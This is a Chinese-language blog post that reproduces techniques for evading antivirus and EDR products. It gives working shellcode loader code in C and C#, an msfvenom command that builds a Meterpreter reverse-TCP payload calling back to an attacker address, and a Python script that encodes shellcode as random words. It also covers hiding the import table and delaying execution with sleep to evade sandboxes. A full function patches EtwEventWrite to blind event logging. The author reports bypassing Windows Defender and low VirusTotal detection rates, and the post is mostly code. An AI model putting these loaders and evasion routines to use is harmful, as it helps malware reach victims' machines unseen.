最近在某某糖上看到有人翻译 A blueprint for evading industry leading endpoint protection In 2022,翻译原文链接:http://tttang.com/archive/1573/
原文只简单讲了一下大致的思路,具体的复现并没有。本文就是对文章提到技术点进行简单复现。
主要参考 ShellcodeWrapper的代码
定义:
函数返回值类型 (* 指针变量名) (函数参数列表);
如:
int(*p)(int, int);
如何使用:
#include <iostream>
#include <windows.h>
void print() {
std::cout << "123";
}
int main(){
void(*p)();
p = print;
p();}
通过函数指针的方式可以调用当前程序地址空间里的函数,前提是需要知道虚拟内存种机器码的地址。一般和VirtualAlloc相结合
unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
我们通过VirtualAlloc函数分配了一块虚拟内存,返回了一个指针变量exec,指向这块虚拟内存的首地址。 之后将数组拷贝到这块内存中,在visual studio里选择debug->window->memeory 可以查看当当前程序的内存情况,将调试器里exec的地址填入:
通过调试的插件我们可以看到此时shellcode已经被写入了内存,之后通过函数指针将void*强制转换成函数指针并进行调用。使用不经过混淆的的c shellcode,编译windows definder都会报毒,直接无法编译:
关闭definder,可以进行成功上线。
使用工具进行xor混淆,生成shellcode装载代码:
这种对shellcode的加密实际就是对字符串进行加密,主要是静态的混淆,这里刚开始没注意看官方的readme,官方的例子使用msf:
[email protected]:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw
生成的raw格式的,笔者开始使用cs直接生成了c代码,结果代码是对文件中每一个字节加密的。
重新生成raw格式代码,编译结果definder依旧报毒,注释了函数指针执行部分依旧。
说明不是函数指针执行部分代码报毒,单凭shellcode这种程度的混淆还是远远不够的不够的。
在visual studio中,程序编译阶段选择resource file - > add -> resource - > icon,增加图标。
对于没有源码的程序,也可以通过工具resourcehacker修改图标,达到修改其特征值的效果:
文章中提到了想法:
一个更优雅的解决方案是设计并实现一种算法,将经过混淆处理(编码/加密)的shellcode变成英文单词(低熵)。这种方法简直就是一箭双雕。
其实也是类似shellcode混淆的技术,因为笔者的c很一般,c执行的时候需要存储字节和单词的映射关系,在c语言中没有string类型和dict等数据结构,也不熟悉STL,写起来很僵硬,这里使用c#执行shellcode。
意外发现简单混淆shellcode+csc编译就已经能够过windows definder了。
直接使用vs编译还是会报毒:
c#执行shellcode的方式略有区别,这里没有使用函数指针,而是使用了windows api createThread:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
顾名思义,在当前进程创建一个线程。主要是第三个参数提供一个指针。和VirtualAlloc+ Marshal.Copy结合使用。使用csc编译就可以bypass windows definder
使用py对字节进行随机单词替换:
from random_words import RandomWords
hex_temp=[0x9d]
hex_single = list(set(hex_temp))
words=[]
words_list=[]
payload="string p =\""
# generate dict list --- for singel
rw = RandomWords()
for h in hex_single:
success_add=False
while not success_add:
word = rw.random_word()
if word not in words:
words.append(word)
words_list.append({h:word})
success_add=True
# convert shellcode to string
for h in hex_temp:
for d in words_list:
for k in d:
if h == k:
payload=payload+d[k]+" "
print(payload.rstrip(" ")+"\";")
# generate c# table to compare
ret_string="string s =\""
ret_h="char[] raw = {"
for d in words_list:
for k in d:
ret_string=ret_string+d[k]+" "
ret_h=ret_h+"(char)%d,"%(int(k))
ret_h=ret_h.rstrip(",");
ret_string=ret_string.rstrip(" ");
ret_h=ret_h+"};";
ret_string=ret_string+"\";"
print(ret_string)
print(ret_h)
使用C#进行解密:
依旧报毒
但注释掉CreateThread部分就可以通过,shellcode的免杀没有大问题。这里换一种shellcode加载方式,魔改SharpInjector的EtwpCreateEtwThread加载:
可以成功上线:
原文中提到可以延时shellcode的执行,原文作者采用的做法是取一个大素数并作为密钥的使用。笔者这里直接暴力使用sleep实现延时:
Thread.Sleep(1000*30);
对于云端沙箱,之前听别人简单说过,可以通过制造大文件、删除文件等方式阻止上传到云端。这里简单增加了一首MP3资源进可执行文件演示一下。
本来想对c#的程序进行混淆,发现c#编译出来的程序识别不出导入表:
c和c++的却可以:
推测c#和java类似有jvm虚拟机这种技术存在,不是标准的exe。所以还是对开始的c程序做导入表混淆。
不做任何混淆时的导入表,显然有VirtualAlloc这样的敏感函数,通过函数指针的方式隐藏。前面介绍过函数指针,需要在内存中找到对应函数,在内存中找对应函数地址的API是GetProcAddress:
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);
第一参数为dll模块句柄,通过GetModuleHandle函数获取:
GetModuleHandle((LPCSTR)sKernel32)
第二个参数为函数名,这里指定为VirtualAlloc。
typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
这里使用了函数指针的另一种定义方式:
typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
编译执行,可以看到导入表中已经看不到VirtualAlloc函数了
ETW指Windows事件追踪,是很多安全产品使用的windows功能。其部分功能位于ntdll.dll中,我们可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是修改EtwEventWrite函数,详情可以参考:ETW的攻与防 & Detecting process injection with ETW
主要用到几个api:
NtProtectVirtualMemory
NT开头的函数是内核函数,用户态函数为VirtualProtect :
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
该函数在调用进程的虚拟地址空间中更改对已提交页面区域的保护,第三个参数比较关键,参考memory-protection-constants。第四个参数返回内存原始属性的保存地址,修改完毕后要恢复。
对于这种未公开的api内核函数调用,需要手动去获取其地址,首先定义函数指针:
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
进行调用:
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);
FlushInstructionCache
该函数主要是对内存修改后刷新缓存
BOOL FlushInstructionCache(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[in] SIZE_T dwSize
);
参数一目了然,没什么好解释的。
我们首先找到EtwEventWrite函数在虚拟内内存中的地址:
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
将内存属性改成PAGE_READWRITE,这里size是我们需要修改内存的大小。
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
修改内存:
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
恢复内存属性:
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
完整的实现:
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
void disableETW(void) {
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
查看内存
修改成功
本文总结了5种常见的免杀技术,主要是静态的免杀。
其中c#搭配静态字符串加密,异或加密,沙箱绕过,EtwpCreateEtwThread上线的技术,vt检测结果为13/68
因为还是基于开源的恶意工具改的,其中依旧有一些其他的静态特征影响,单独出来实现效果应该会更好一些。
c++的程序使用disableETW,shellcode加密,隐藏导入表的免杀方式,vt检测结果为4/68,比想象的好很多。
c++的程序更换shellcode的加密方式过definder应该没有问题。静态的免杀还是比较容易的。
本文实现的例子相关代码均进行了开源:EDR-Bypass-demo